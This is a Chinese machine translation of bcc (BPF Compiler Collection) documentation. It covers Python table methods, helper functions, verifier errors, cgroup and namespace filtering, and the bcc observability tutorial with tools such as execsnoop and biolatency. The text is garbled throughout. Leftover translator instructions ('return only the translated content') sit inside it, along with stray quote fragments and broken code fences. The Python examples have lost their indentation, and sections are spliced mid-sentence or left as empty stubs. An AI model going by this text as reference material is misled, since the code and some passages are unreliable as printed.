此操作基于BPF中定义的表格(BPF_PERF_OUTPUT()),将回调Python函数callback关联到在perf环形缓冲区中有数据可用时调用。这是从内核传输每个事件的数据到用户空间的推荐机制的一部分。可以通过page_cnt参数指定perf环形缓冲区的大小,默认为8个页面,必须是页数的2的幂次方。如果回调函数不能快速处理数据,则可能丢失某些提交的数据。lost_cb用于记录/监视丢失的计数。如果lost_cb是默认的None值,则只会打印一行消息到stderr。
示例:
# 处理事件
def print_event(cpu, data, size):
event = ct.cast(data, ct.POINTER(Data)).contents
[...]
# 循环通过回调函数打印事件
b["events"].open_perf_buffer(print_event)
while 1:
try:
b.perf_buffer_poll()
except KeyboardInterrupt:
exit()
请注意,传输的数据结构需要在BPF程序中以C方式声明。例如:
// 在C中定义输出数据结构
struct data_t {
u32 pid;
u64 ts;
char comm[TASK_COMM_LEN];
};
BPF_PERF_OUTPUT(events);
[...]
在Python中,您可以让bcc自动生成C声明中的数据结构(建议方法):
def print_event(cpu, data, size):
event = b["events"].event(data)
[...]
或者手动定义:
# 在Python中定义输出数据结构
TASK_COMM_LEN = 16 # linux/sched.h
class Data(ct.Structure):
_fields_ = [("pid", ct.c_ulonglong),
("ts", ct.c_ulonglong),
("comm", ct.c_char * TASK_COMM_LEN)]"。def print_event(cpu, data, size):
event = ct.cast(data, ct.POINTER(Data)).contents
[...]
在此处的示例中:
[code](https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L52),
[search /examples](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Aexamples+language%3Apython&type=Code),
[search /tools](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Atools+language%3Apython&type=Code)
### 3. items()
语法: ```table.items()```
返回一个表中的键数组。它可以与BPF_HASH映射一起使用,从而获取并迭代键。
示例:
```Python
# 打印输出
print("%10s %s" % ("COUNT", "STRING"))
counts = b.get_table("counts")
for k, v in sorted(counts.items(), key=lambda counts: counts[1].value):
print("%10d \"%s\"" % (v.value, k.c.encode('string-escape')))
此示例还使用sorted()方法按值排序。
在此处的示例中: search /examples, search /tools。
4. values()
语法: table.values()
返回一个表中的值数组。
5. clear()
语法: table.clear()
清除表:删除所有条目。
示例:
# 每秒打印映射摘要:
while True:
time.sleep(1)
print("%-8s\n" % time.strftime("%H:%M:%S"), end="")
dist.print_log2_hist(sym + " return:")
dist.clear()
在此处的示例中: search /examples, search /tools。
6. items_lookup_and_delete_batch()
语法: table.items_lookup_and_delete_batch()。返回一个使用一次BPF系统调用在表中的键的数组。可以与BPF_HASH映射一起使用以获取和迭代键。还会清除表:删除所有条目。
您应该使用table.items_lookup_and_delete_batch()而不是table.items()后跟table.clear()。它需要内核v5.6。
示例:
# 每秒打印调用率:
print("%9s-%9s-%8s-%9s" % ("PID", "COMM", "fname", "counter"))
while True:
for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid):
print("%9s-%9s-%8s-%9d" % (k.pid, k.comm, k.fname, v.counter))
sleep(1)
7. items_lookup_batch()
语法: table.items_lookup_batch()
使用一次BPF系统调用返回表中的键数组。可以与BPF_HASH映射一起使用以获取和迭代键。 您应该使用table.items_lookup_batch()而不是table.items()。它需要内核v5.6。
示例:
# 打印映射的当前值:
print("%9s-%9s-%8s-%9s" % ("PID", "COMM", "fname", "counter"))
while True:
for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid):
print("%9s-%9s-%8s-%9d" % (k.pid, k.comm, k.fname, v.counter))
8. items_delete_batch()
语法: table.items_delete_batch(keys)
当keys为None时,它会清除BPF_HASH映射的所有条目。它比table.clear()更有效,因为它只生成一个系统调用。您可以通过给出一个键数组来删除映射的一个子集。这些键及其关联值将被删除。它需要内核v5.6。
参数:
- keys是可选的,默认为None。
9. items_update_batch()
语法: table.items_update_batch(keys, values)
使用新值更新所有提供的键。两个参数必须具有相同的长度并且在映射限制之内(在1到最大条目之间)。它需要内核v5.6。
参数:
- keys是要更新的键列表
- values是包含新值的列表。### 10. print_log2_hist()
语法: table.print_log2_hist(val_type="value", section_header="Bucket ptr", section_print_fn=None)
以ASCII的形式打印一个表格作为log2直方图。该表必须以log2的形式存储,可使用BPF函数bpf_log2l()完成。
参数:
- val_type: 可选,列标题。
- section_header: 如果直方图有一个辅助键,多个表格将被打印,并且section_header可以用作每个表格的标题描述。
- section_print_fn: 如果section_print_fn不为None,则将传递给bucket值。
示例:
b = BPF(text="""
BPF_HISTOGRAM(dist);
int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)
{
dist.increment(bpf_log2l(req->__data_len / 1024));
return 0;
}
""")
[...]
b["dist"].print_log2_hist("kbytes")
输出:
kbytes : count distribution
0 -> 1 : 3 | |
2 -> 3 : 0 | |
4 -> 7 : 211 |********** |
8 -> 15 : 0 | |
16 -> 31 : 0 | |
32 -> 63 : 0 | |
64 -> 127 : 1 | |
128 -> 255 : 800 |**************************************|
这个输出显示了一个多模式分布,最大模式是128->255 kbytes,计数为800。
这是一种高效的数据概括方法,因为概括是在内核中执行的,只有计数列被传递到用户空间。
实际示例: 搜索 /examples, 搜索 /tools
11. print_linear_hist()".语法: table.print_linear_hist(val_type="value", section_header="Bucket ptr", section_print_fn=None)
以ASCII字符形式打印一个线性直方图的表格。此功能旨在可视化小的整数范围,例如0到100。
参数:
- val_type: 可选,列标题。
- section_header: 如果直方图有一个二级键,则会打印多个表格,并且section_header可以用作每个表格的头部描述。
- section_print_fn: 如果section_print_fn不为None,则会将bucket的值传递给它。
示例:
b = BPF(text="""
BPF_HISTOGRAM(dist);
int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)
{
dist.increment(req->__data_len / 1024);
return 0;
}
""")
[...]
b["dist"].print_linear_hist("kbytes")
输出:
kbytes : count distribution
0 : 3 |****** |
1 : 0 | |
2 : 0 | |
3 : 0 | |
4 : 19 |****************************************|
5 : 0 | |
6 : 0 | |
7 : 0 | |
8 : 4 |******** |
9 : 0 | |
10 : 0 | |
11 : 0 | |
12 : 0 | |
13 : 0 | |
14 : 0 | |
15 : 0 | |。
```### 16 : 2 |**** |
[...]
这是一种高效的数据汇总方式,因为汇总是在内核中执行的,只有计数列中的值传递到用户空间。
现场示例: 搜索 /examples, 搜索 /tools
12. open_ring_buffer()
语法: table.open_ring_buffer(callback, ctx=None)
此操作用于在BPF中定义为BPF_RINGBUF_OUTPUT()的表,并将Python回调函数callback与ringbuf环形缓冲区中有可用数据时调用相连。这是从内核向用户空间传输每个事件数据的新(Linux 5.8+)推荐机制的一部分。不同于perf缓冲区,ringbuf大小在BPF程序中指定,作为BPF_RINGBUF_OUTPUT宏的一部分。如果回调函数处理数据不够快,可能会丢失一些提交的数据。在这种情况下,事件应该更频繁地进行轮询和/或增加环形缓冲区的大小。
示例:
# 处理事件
def print_event(ctx, data, size):
event = ct.cast(data, ct.POINTER(Data)).contents
[...]
# 循环并使用print_event回调函数
b["events"].open_ring_buffer(print_event)
while 1:
try:
b.ring_buffer_poll()
except KeyboardInterrupt:
exit()
请注意,在BPF程序中,传输的数据结构需要在C中声明。例如:
// 在C中定义输出数据结构
struct data_t {
u32 pid;
u64 ts;
char comm[TASK_COMM_LEN];
};
BPF_RINGBUF_OUTPUT(events, 8);
[...]
在Python中,您可以让bcc自动从C的声明中生成数据结构(推荐):
def print_event(ctx, data, size):
event = b["events"].event(data)
[...]
或者手动定义:
TASK_COMM_LEN = 16 # linux/sched.h
class Data(ct.Structure):
_fields_ = [("pid", ct.c_ulonglong),
("ts", ct.c_ulonglong),
("comm", ct.c_char * TASK_COMM_LEN)]
def print_event(ctx, data, size):
event = ct.cast(data, ct.POINTER(Data)).contents
[...]
在原地的示例: 在/examples中搜索,
13. push()
语法: table.push(leaf, flags=0)
将元素推入堆栈或队列表。如果操作不成功,会引发异常。传递QueueStack.BPF_EXIST作为标志会使队列或堆栈丢弃最旧的元素,如果表已满。
在原地的示例: 在/tests中搜索,
14. pop()
语法: leaf = table.pop()
从堆栈或队列表中弹出一个元素。与peek()不同,pop()在返回元素之前会将其从表中移除。如果操作不成功,会引发KeyError异常。
在原地的示例: 在/tests中搜索,
15. peek()
语法: leaf = table.peek()
查看堆栈或队列表头部的元素。与pop()不同,peek()不会将元素从表中移除。如果操作不成功,会引发异常。
在原地的示例: 在/tests中搜索,
辅助方法
一些由bcc提供的辅助方法。请注意,因为我们在Python中,我们可以导入任何Python库及其方法,包括例如argparse、collections、ctypes、datetime、re、socket、struct、subprocess、sys和time等库。
1. ksym()
语法: BPF.ksym(addr)
将内核内存地址转换为内核函数名称,并返回该名称。
示例:
格式: 只返回转换后的内容,不包括原始文本。```markdown
print("内核函数:" + b.ksym(addr))
例子: 搜索 /examples, 搜索 /tools
2. ksymname()
语法:BPF.ksymname(name)
将内核名称翻译为地址。这是ksym的反向过程。当函数名称未知时,返回-1。
例子:
print("内核地址:%x" % b.ksymname("vfs_read"))
例子: 搜索 /examples, 搜索 /tools
3. sym()
语法:BPF.sym(addr, pid, show_module=False, show_offset=False)
将内存地址翻译为pid的函数名称,并返回。小于零的pid将访问内核符号缓存。show_module和show_offset参数控制是否显示函数所在的模块以及是否显示从符号开头的指令偏移量。这些额外参数的默认值为False。
例子:
print("函数:" + b.sym(addr, pid))
例子: 搜索 /examples, 搜索 /tools
4. num_open_kprobes()
语法:BPF.num_open_kprobes()
返回打开的k[ret]probe的数量。当使用event_re附加和分离探测点时,可以发挥作用。不包括perf_events读取器。
例子:
b.attach_kprobe(event_re=pattern, fn_name="trace_count")
matched = b.num_open_kprobes()
if matched == 0:
print("0个函数与\"%s\"匹配。程序退出。" % args.pattern)
exit()
5. get_syscall_fnname()
语法: BPF.get_syscall_fnname(name : str)
返回系统调用的相应内核函数名。该辅助函数将尝试不同的前缀,并与系统调用名连接起来。请注意,返回值可能在不同版本的Linux内核中有所不同,有时会引起问题。 (见 #2590)
示例:
print("在内核中,%s 的函数名是 %s" % ("clone", b.get_syscall_fnname("clone")))
# sys_clone 或 __x64_sys_clone 或 ...
BPF 错误
请参阅内核源码中的“Understanding eBPF verifier messages”部分,位于 Documentation/networking/filter.txt。
1. Invalid mem access
这可能是因为试图直接读取内存,而不是操作BPF堆栈上的内存。所有对内核内存的读取必须通过 bpf_probe_read_kernel() 传递,以将内核内存复制到BPF堆栈中,在一些简单关联的情况下,bcc 重写器可以自动完成。bpf_probe_read_kernel() 执行所有必要的检查。
示例:
bpf: Permission denied
0: (bf) r6 = r1
1: (79) r7 = *(u64 *)(r6 +80)
2: (85) call 14
3: (bf) r8 = r0
[...]
23: (69) r1 = *(u16 *)(r7 +16)
R7 invalid mem access 'inv'
Traceback (most recent call last):
File "./tcpaccept", line 179, in <module>
b = BPF(text=bpf_text)
File "/usr/lib/python2.7/dist-packages/bcc/__init__.py", line 172, in __init__
self._trace_autoload()".
/usr/lib/python2.7/dist-packages/bcc/__init__.py",第 612 行,_trace_autoload 中:
fn = self.load_func(func_name, BPF.KPROBE)
文件 "/usr/lib/python2.7/dist-packages/bcc/__init__.py",第 212 行,load_func 中:
raise Exception("加载 BPF 程序 %s 失败" % func_name)
Exception: 加载 BPF 程序 kretprobe__inet_csk_accept 失败
2. 无法从专有程序调用 GPL-only 函数
当非 GPL BPF 程序调用 GPL-only 辅助函数时,会出现此错误。要修复此错误,请勿在专有 BPF 程序中使用 GPL-only 辅助函数,或者将 BPF 程序重新授权为 GPL-compatible 许可证。请查看哪些 BPF helpers 是 GPL-only 的,并且哪些许可证被视为 GPL-compatible。
示例,从专有程序(#define BPF_LICENSE Proprietary)调用 bpf_get_stackid(),一种 GPL-only 的 BPF helper:
bpf: 加载程序失败:无效参数
[...]
8: (85) 调用 bpf_get_stackid#27
无法从专有程序调用 GPL-only 函数
环境变量
1. 内核源代码目录
eBPF 程序编译需要内核源代码或已编译的内核头。如果你的内核源代码位于无法被 BCC 找到的非标准位置,可以通过将 BCC_KERNEL_SOURCE 设置为该路径的绝对路径来为 BCC 提供所需的位置信息。
2. 内核版本覆盖
默认情况下,BCC 将 LINUX_VERSION_CODE 存储在生成的 eBPF 对象中,并在加载 eBPF 程序时传递给内核。有时,这可能非常不方便,尤其是当内核略有更新时,比如 LTS 内核发布。微小的不匹配几乎不会导致加载的 eBPF 程序出现任何问题。通过将 BCC_LINUX_VERSION_CODE 设置为正在运行的内核版本,可以绕过验证内核版本的检查。这对于程序是必需的。使用kprobes的程序需要以(VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL的格式进行编码。例如,如果当前运行的内核是4.9.10,则可以设置export BCC_LINUX_VERSION_CODE=264458以成功地覆盖内核版本检查。
特殊过滤
某些工具具有特殊的过滤能力,主要用例是跟踪运行在容器中的进程,但这些机制是通用的,也可以在其他情况下使用。
按 cgroups过滤
某些工具有一个通过引用外部管理的固定的BPF哈希映射来按cgroup过滤的选项。
命令示例:
# ./opensnoop --cgroupmap /sys/fs/bpf/test01
# ./execsnoop --cgroupmap /sys/fs/bpf/test01
# ./tcpconnect --cgroupmap /sys/fs/bpf/test01
# ./tcpaccept --cgroupmap /sys/fs/bpf/test01
# ./tcptracer --cgroupmap /sys/fs/bpf/test01
上述命令将仅显示属于一个或多个cgroup的进程的结果,这些cgroup的ID由bpf_get_current_cgroup_id()返回,并存在固定的BPF哈希映射中。
通过以下方式创建BPF哈希映射:
# bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \
name cgroupset flags 0
要在新cgroup中获取一个shell,可以使用:
# systemd-run --pty --unit test bash
该shell将在cgroup/sys/fs/cgroup/unified/system.slice/test.service中运行。
可以使用name_to_handle_at()系统调用来发现cgroup ID。在examples/cgroupid中,您可以找到一个获取cgroup ID的程序示例。
# cd examples/cgroupid
# make
# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service
或者,使用Docker:
# cd examples/cgroupid
# docker build -t cgroupid .
# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \
cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service
这将以主机的字节序(hexadecimal string)打印出cgroup ID,例如77 16 00 00 01 00 00 00。
# FILE=/sys/fs/bpf/test01
# CGROUPID_HEX="77 16 00 00 01 00 00 00"
# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any
现在,通过systemd-run启动的shell的cgroup ID已经存在于BPF哈希映射中,bcc工具将显示来自该shell的结果。可以添加和。从BPF哈希映射中删除而不重新启动bcc工具。
这个功能对于将bcc工具集成到外部项目中非常有用。
按命名空间选择挂载点进行过滤
BPF哈希映射可以通过以下方式创建:
# bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \
name mnt_ns_set flags 0
仅执行execsnoop工具,过滤挂载命名空间在/sys/fs/bpf/mnt_ns_set中:
# tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set
在新的挂载命名空间中启动一个终端:
# unshare -m bash
使用上述终端的挂载命名空间ID更新哈希映射:
FILE=/sys/fs/bpf/mnt_ns_set
if [ $(printf '\1' | od -dAn) -eq 1 ]; then
HOST_ENDIAN_CMD=tac
else
HOST_ENDIAN_CMD=cat
fi
NS_ID_HEX="$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\{2\}/&\n/g' | $HOST_ENDIAN_CMD)"
bpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any
在这个终端中执行命令:
# ping kinvolk.io
你会看到在上述你启动的execsnoop终端中,这个调用被记录下来:
# tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set
[sudo] password for mvb:
PCOMM PID PPID RET ARGS
ping 8096 7970 0 /bin/ping kinvolk.io
```。
bcc 教程
本教程介绍如何使用bcc工具快速解决性能、故障排除和网络问题。如果你想开发新的bcc工具,请参考tutorial_bcc_python_developer.md教程。
本教程假设bcc已经安装好,并且你可以成功运行像execsnoop这样的工具。参见INSTALL.md。这些功能是在Linux 4.x系列中增加的。
可观察性
一些快速的收获。
0. 使用bcc之前
在使用bcc之前,你应该从Linux基础知识开始。可以参考Linux Performance Analysis in 60,000 Milliseconds文章,其中介绍了以下命令:
- uptime
- dmesg | tail
- vmstat 1
- mpstat -P ALL 1
- pidstat 1
- iostat -xz 1
- free -m
- sar -n DEV 1
- sar -n TCP,ETCP 1
- top
1. 性能分析
这是一个用于性能调查的通用检查清单,首先有一个列表,然后详细描述:
- execsnoop
- opensnoop
- ext4slower(或btrfs*,xfs*,zfs*)
- biolatency
- biosnoop
- cachestat
- tcpconnect
- tcpaccept
- tcpretrans
- runqlat
- profile
这些工具可能已经安装在你的系统的/usr/share/bcc/tools目录下,或者你可以从bcc github仓库的/tools目录中运行它们,这些工具使用.py扩展名。浏览50多个可用的工具,获得更多的分析选项。
1.1 execsnoop
# ./execsnoop
PCOMM PID RET ARGS
supervise 9660 0 ./run
supervise 9661 0 ./run
mkdir 9662 0 /bin/mkdir -p ./main
run 9663 0 ./run
[...]
execsnoop对于每个新进程打印一行输出。检查短生命周期的进程。这些进程可能会消耗CPU资源,但不会在大多数周期性运行的进程监控工具中显示出来。它通过跟踪exec()来工作,而不是fork(),所以它可以捕获许多类型的新进程,但不是所有类型(例如,它不会看到启动工作进程的应用程序,该应用程序没有exec()其他任何内容)。
更多例子。
1.2. opensnoop
# ./opensnoop
PID COMM FD ERR PATH
1565 redis-server 5 0 /proc/1565/stat
1565 redis-server 5 0 /proc/1565/stat
1565 redis-server 5 0 /proc/1565/stat
1603 snmpd 9 0 /proc/net/dev
1603 snmpd 11 0 /proc/net/if_inet6
1603 snmpd -1 2 /sys/class/net/eth0/device/vendor
1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms
1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms
1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding
[...]
opensnoop每次open() syscall执行时打印一行输出,包括详细信息。
打开的文件可以告诉你很多关于应用程序的工作方式的信息:它们的数据文件、配置文件和日志文件。有时候应用程序可能会表现不正常,当它们不断尝试读取不存在的文件时则会表现得很差。opensnoop能够快速帮助你查看。
更多例子。
1.3. ext4slower(或btrfs*,xfs*,zfs*)
# ./ext4slower
追踪超过10毫秒的ext4操作
时间 进程 进程ID T 字节数 偏移KB 延迟(ms) 文件名
06:35:01 cron 16464 R 1249 0 16.05 common-auth
06:35:01 cron 16463 R 1249 0 16.04 common-auth
06:35:01 cron 16465 R 1249 0 16.03 common-auth
06:35:01 cron 16465 R 4096 0 10.62 login.defs
06:35:01 cron 16464 R 4096 0 10.61 login.defs
ext4slower跟踪ext4文件系统,并计时常见操作,然后只打印超过阈值的操作。这对于识别或证明一种性能问题非常方便:通过文件系统单独显示较慢的磁盘 I/O。磁盘以异步方式处理 I/O,很难将该层的延迟与应用程序所经历的延迟关联起来。在内核堆栈中更高层的追踪,即在 VFS -> 文件系统接口中,会更接近应用程序遭受的延迟。使用此工具来判断文件系统的延迟是否超过了给定的阈值。
在 bcc 中存在其他文件系统的类似工具:btrfsslower、xfsslower 和 zfsslower。还有一个名为 fileslower 的工具,它在 VFS 层工作并跟踪所有内容(尽管会有更高的开销)。
更多示例。
1.4. biolatency
# ./biolatency
跟踪块设备的 I/O... 按 Ctrl-C 结束。
^C
微秒 : 数量 分布
0 -> 1 : 0 | |
2 -> 3 : 0 | |
4 -> 7 : 0 | |
8 -> 15 : 0 | |
16 -> 31 : 0 | |
32 -> 63 : 0 | |
64 -> 127 : 1 | |
128 -> 255 : 12 |******** |
256 -> 511 : 15 |********** |
512 -> 1023 : 43 |******************************* |
1024 -> 2047 : 52 |**************************************|
2048 -> 4095 : 47 |********************************** |
4096 -> 8191 : 52 |**************************************|
8192 -> 16383 : 36 |************************** |
16384 -> 32767 : 15 |********** |。32768 -> 65535 : 2 |* |
65536 -> 131071 : 2 |* |
biolatency跟踪磁盘I/O延迟(从设备执行到完成的时间),当工具结束(Ctrl-C,或给定的间隔)时,它会打印延迟的直方图摘要。
这对于了解超出iostat等工具提供的平均时间的磁盘I/O延迟非常有用。在分布的末尾将可见I/O延迟的异常值,以及多种模式的分布。
更多示例。
1.5. biosnoop
# ./biosnoop
TIME(s) COMM PID DISK T SECTOR BYTES LAT(ms)
0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74
0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61
0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24
0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09
1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98
1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93
[...]
biosnoop为每个磁盘I/O打印一行输出,其中包括延迟(从设备执行到完成的时间)等详细信息。
这让您可以更详细地研究磁盘I/O,并寻找按时间排序的模式(例如,读取在写入后排队)。请注意,如果您的系统以高速率执行磁盘I/O,则输出将冗长。
更多示例。
1.6. cachestat
# ./cachestat
HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB
1074 44 13 94.9% 2.9% 1 223
2195 170 8 92.5% 6.8% 1 143
182 53 56 53.6% 1.3% 1 143
62480 40960 20480 40.6% 19.8% 1 223"。
格式:仅返回翻译后的内容,不包括原始文本。```
7 2 5 22.2% 22.2% 1 223
348 0 0 100.0% 0.0% 1 223
[...]
cachestat 每秒(或每个自定义时间间隔)打印一行摘要,显示文件系统缓存的统计信息。
可以用它来识别低缓存命中率和高缺失率,这是性能调优的线索之一。
更多 示例。
1.7. tcpconnect
# ./tcpconnect
PID COMM IP SADDR DADDR DPORT
1479 telnet 4 127.0.0.1 127.0.0.1 23
1469 curl 4 10.201.219.236 54.245.105.25 80
1469 curl 4 10.201.219.236 54.67.101.145 80
1991 telnet 6 ::1 ::1 23
2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22
[...]
tcpconnect 每个活动的 TCP 连接(例如通过 connect())打印一行输出,包括源地址和目标地址的详细信息。
寻找可能指向应用程序配置问题或入侵者的意外连接。
更多 示例。
1.8. tcpaccept
# ./tcpaccept
PID COMM IP RADDR LADDR LPORT
907 sshd 4 192.168.56.1 192.168.56.102 22
907 sshd 4 127.0.0.1 127.0.0.1 22
5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001
[...]
tcpaccept 每个被动的 TCP 连接(例如通过 accept())打印一行输出,包括源地址和目标地址的详细信息。
寻找可能指向应用程序配置问题或入侵者的意外连接。
更多 示例。
1.9. tcpretrans
# ./tcpretrans".
```时间 PID IP LADDR:LPORT T> RADDR:RPORT 状态
01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立
01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立
01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 已建立
[...]
tcpretrans为每个TCP重传数据包打印一行输出,其中包括源地址、目的地址以及TCP连接的内核状态。
TCP重传会导致延迟和吞吐量问题。对于已建立的重传,可以查找与网络有关的模式。对于SYN_SENT,可能指向目标内核CPU饱和和内核数据包丢失。
更多示例。
1.10. runqlat
# ./runqlat
跟踪运行队列延迟... 按Ctrl-C结束。
^C
微秒数 : 计数 分布
0 -> 1 : 233 |*********** |
2 -> 3 : 742 |************************************ |
4 -> 7 : 203 |********** |
8 -> 15 : 173 |******** |
16 -> 31 : 24 |* |
32 -> 63 : 0 | |
64 -> 127 : 30 |* |
128 -> 255 : 6 | |
256 -> 511 : 3 | |
512 -> 1023 : 5 | |
1024 -> 2047 : 27 |* |
2048 -> 4095 : 30 |* |
4096 -> 8191 : 20 | |
8192 -> 16383 : 29 |* |".16384 -> 32767 : 809 |****************************************|
32768 -> 65535 : 64 |*** |
这可以帮助量化在CPU饱和期间等待获取CPU的时间损失。
更多示例。
1.11. 分析
# ./profile
以每秒49次的频率对所有线程进行采样,包括用户和内核栈...按Ctrl-C结束。
^C
00007f31d76c3251 [未知]
47a2c1e752bf47f7 [未知]
- sign-file (8877)
1
ffffffff813d0af8 __clear_user
ffffffff813d5277 iov_iter_zero
ffffffff814ec5f2 read_iter_zero
ffffffff8120be9d __vfs_read
ffffffff8120c385 vfs_read
ffffffff8120d786 sys_read
ffffffff817cc076 entry_SYSCALL_64_fastpath
00007fc5652ad9b0 read
- dd (25036)
4
0000000000400542 func_a
0000000000400598 main
00007f12a133e830 __libc_start_main
083e258d4c544155 [未知]
- func_ab (13549)
5
[...]
ffffffff8105eb66 native_safe_halt
ffffffff8103659e default_idle
ffffffff81036d1f arch_cpu_idle
ffffffff810bba5a default_idle_call
ffffffff810bbd07 cpu_startup_entry
ffffffff8104df55 start_secondary
- swapper/1 (0)
75
profile是一个CPU分析工具,它在定时间隔内采样堆栈跟踪,并打印唯一堆栈跟踪的摘要及其出现次数。
使用此工具来了解消耗CPU资源的代码路径。
更多示例。
2. 使用通用工具进行可观察性
除了上述用于性能调整的工具外,下面是一个bcc通用工具的清单,首先是一个列表,然后详细说明:
- trace
- argdist
- funccount这些通用工具可能有助于解决您特定问题的可视化。
2.1. 跟踪
示例 1
假设您想要跟踪文件所有权更改。有三个系统调用,chown、fchown和lchown,用户可以使用它们来更改文件所有权。相应的系统调用入口是SyS_[f|l]chown。可以使用以下命令打印系统调用参数和调用进程的用户ID。您可以使用id命令查找特定用户的UID。
$ trace.py \
'p::SyS_chown "file = %s, to_uid = %d, to_gid = %d, from_uid = %d", arg1, arg2, arg3, $uid' \
'p::SyS_fchown "fd = %d, to_uid = %d, to_gid = %d, from_uid = %d", arg1, arg2, arg3, $uid' \
'p::SyS_lchown "file = %s, to_uid = %d, to_gid = %d, from_uid = %d", arg1, arg2, arg3, $uid'
PID TID COMM FUNC -
1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203
1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203
1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203
1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203
1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203
示例 2
假设您想要统计基于bpf的性能监控工具中的非自愿上下文切换(nvcsw),而您不知道正确的方法是什么。/proc/<pid>/status已经告诉您进程的非自愿上下文切换(nonvoluntary_ctxt_switches)的数量,并且您可以使用trace.py进行快速实验以验证您的方法。根据内核源代码,nvcsw在文件linux/kernel/sched/core.c的__schedule函数中计数,并满足以下条件:
.!(!preempt && prev->state) // 即 preempt || !prev->state
__schedule 函数被标记为 notrace ,评估上述条件的最佳位置似乎在函数 __schedule 内部的 sched/sched_switch 跟踪点中,并且在 linux/include/trace/events/sched.h 中定义。trace.py 已经将 args 设置为跟踪点 TP_STRUCT__entry 的指针。函数 __schedule 中的上述条件可以表示为
args->prev_state == TASK_STATE_MAX || args->prev_state == 0
可以使用以下命令来计算非自愿上下文切换(每个进程或每个进程ID),并与 /proc/<pid>/status 或 /proc/<pid>/task/<task_id>/status 进行比较,以确保正确性,因为在典型情况下,非自愿上下文切换并不常见。
$ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'
PID TID COMM FUNC
1134138 1134140 contention_test sched_switch
1134138 1134142 contention_test sched_switch
...
$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'
PID TID COMM FUNC
1134138 1134140 contention_test sched_switch
1134138 1134140 contention_test sched_switch
...
示例 3
此示例与问题 1231 和 1516 相关,其中在某些情况下,uprobes 完全无法工作。首先,你可以执行以下 strace
$ strace trace.py 'r:bash:readline "%s", retval'
...
perf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error)
...
perf_event_open系统调用返回-EIO。在/kernel/trace和/kernel/events目录中查找与EIO相关的内核uprobe代码,函数uprobe_register最可疑。让我们找出是否调用了这个函数,如果调用了,返回值是什么。在一个终端中使用以下命令打印出uprobe_register的返回值:
trace.py 'r::uprobe_register "ret = %d", retval'
在另一个终端中运行相同的bash uretprobe跟踪示例,您应该得到:
$ trace.py 'r::uprobe_register "ret = %d", retval'
PID TID COMM FUNC -
1041401 1041401 python2.7 uprobe_register ret = -5
错误代码-5是EIO。这证实了函数uprobe_register中的以下代码是最可疑的罪魁祸首。
if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping))
return -EIO;
shmem_mapping函数定义如下:
bool shmem_mapping(struct address_space *mapping)
{
return mapping->a_ops == &shmem_aops;
}
为了确认这个理论,使用以下命令找出inode->i_mapping->a_ops的值:
$ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) "a_ops = %llx", inode->i_mapping->a_ops'
PID TID COMM FUNC -
814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0
^C$ grep ffffffff81a2adc0 /proc/kallsyms
ffffffff81a2adc0 R empty_aops
内核符号empty_aops没有定义readpage,因此上述可疑条件为真。进一步检查内核源代码显示,overlayfs没有提供自己的a_ops,而其他一些文件系统(例如ext4)定义了自己的a_ops(例如ext4_da_aops),并且ext4_da_aops定义了readpage。因此,uprobe对于ext4正常工作,但在overlayfs上不正常工作。
更多示例。
2.2. argdist"。更多示例
2.3. funccount
更多示例.
网络
To do.
bcc Python 开发者教程
